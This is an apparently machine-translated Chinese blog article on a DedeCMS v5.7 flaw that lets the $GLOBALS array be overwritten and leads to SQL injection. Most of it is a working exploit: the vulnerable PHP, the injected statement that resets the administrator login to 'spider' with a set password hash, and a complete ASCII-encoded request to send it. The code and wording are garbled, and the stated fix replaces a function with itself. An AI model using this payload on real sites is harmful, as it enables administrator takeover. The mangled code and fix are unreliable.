本文的重点是我们详细介绍了dedecms修改任意管理员漏洞的解决方案,分析了漏洞的基本原理并测试了漏洞的应用方法,最终得到了解决方案,有一定的参考和使用价值,朋友们一定要参考。
本文案例描述了dedecms修改任何管理员漏洞的解决方案。分享给大家参考。深入分析以下内容:
DreamweavercmsDEDEcms是全国各地使用最广泛的cms系统。因为是开源系统的代码,所以解析器很多,bug也很多。根据我的总结,大部分bug都在自变量上。这一次,可以任意修改全局变量$GLOBALS。下面是这个bug及其解决方案的演示。
漏洞编号:dedecmsv5.7
漏洞描述:原因是全局变量$GLOBALS可以任意修改。下面举个例子,代码如下:
复制代码编码如下://include/dedesql.class.PHP
if(isset($globals['arrS1'])[/
for($I=0;isset($arrs1[$I]);$i)
{
$v1。=chr($arrs1[$I]);
}
for($I=0;isset($arrs2[$I]);$i)
{
$v2。=chr($arrs2[$I]);//编解码器ASCII
}
$Globals[$v1]。=$v2Www.jb51.net//,注意,这不是封面,而是
}
函数setquery($SQL)
{
$prefix="dede_";
$sql=str_replace($prefix,$GLOBALS['cfg_dbprefix'],$SQL);
$this->;queryString=$sql
}
下面介绍如何避免80秒的引入。
在同一个文档中,有两个实现SQL的函数,executenoquery2和executenoquery2。
但是用ExecutenonQuery2实现SQL并不妨碍介绍,所以可以随便找一个用ExecutenonQuery2实现的文档,按如下方式编码:
复制代码如下://plus/download.PHP
elseif($open==1)
{
&;is_numeric($id)?$id:0;
$link=base64_decode(URLdecode($link));
$hash=MD5($link);
//这里的#@_可以 *** 作
$RS=$dsql-->;ExecuteNoneQuery2("UPDATE`dede_downloads`SETdownloads=downloads1WHEREhash='$hash'");
if($RS<;=0){$query="INSERTINTO`dede_downloads`(`hash',`id',`downloads`)值('$hash','$id',1);";$dsql->;execnonequery($query);
}
header("location:$link");
exit();
}
结构化SQL语句(提交时用ascii数据加密,程序流程会帮你自动破译,所以忽略gpc)编码如下:
复制代码如下:admin`set`userid`='spider',`pwd`='。
详细的SQL语句,编码如下:
复制代码如下:更新`dede_admin`set`userid`='spider',`pwd`='f297a57a5a743894a0e4'其中id=1#_downloads`setdownloads=downloads1其中hash='$hash'
检测方法,编码如下:
复制代码编码如下://本网站显示程序流程
http开放=1&arrs1[]=99&;arrs1[]=102&;arrs1[]=103&;arrs1[]=95&;arrs1[]=100&;arrs1[]=98&;arrs1[]=112&;arrs1[]=114&;arrs1[]=101&;arrs1[]=102&;arrs1[]=105&;arrs1[]=120&;arrs2[]=97&;arrs2[]=100&;arrs2[]=109&;arrs2[]=105&;arrs2[]=110&;arrs2[]=96&;arrs2[]=32&;arrs2[]=83&;arrs2[]=69&;arrs2[]=84&;arrs2[]=32&;arrs2[]=96&;arrs2[]=117&;arrs2[]=115&;arrs2[]=101&;arrs2[]=114&;arrs2[]=105&;arrs2[]=100&;arrs2[]=96&;arrs2[]=61&;arrs2[]=39&;arrs2[]=115&;arrs2[]=112&;arrs2[]=105&;arrs2[]=100&;arrs2[]=101&;arrs2[]=114&;arrs2[]=39&;arrs2[]=44&;arrs2[]=32&;arrs2[]=96&;arrs2[]=112&;arrs2[]=119&;arrs2[]=100&;arrs2[]=96&;arrs2[]=61&;arrs2[]=39&;arrs2[]=102&;arrs2[]=50&;arrs2[]=57&;arrs2[]=55&;arrs2[]=97&;arrs2[]=53&;arrs2[]=55&;arrs2[]=97&;arrs2[]=53&;arrs2[]=97&;arrs2[]=55&;arrs2[]=52&;arrs2[]=51&;arrs2[]=56&;arrs2[]=57&;arrs2[]=52&;arrs2[]=97&;arrs2[]=48&;arrs2[]=101&;arrs2[]=52&;arrs2[]=39&;arrs2[]=32&;arrs2[]=119&;arrs2[]=104&;arrs2[]=101&;arrs2[]=114&;arrs2[]=101&;arrs2[]=32&;arrs2[]=105&;arrs2[]=100&;arrs2[]=61&;arrs2[]=49&;arrs2[]=32&;Arr2[]=35
如果没有问题,在后台登录客户蜘蛛登录密码admin。
安全性:所有应用于executenoquery2函数的文档都要改为executenoquery2函数,并且根据情况,在程序调试中不能暴露相对路径的详细地址。
期待以上对建设dedecms站的帮助。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)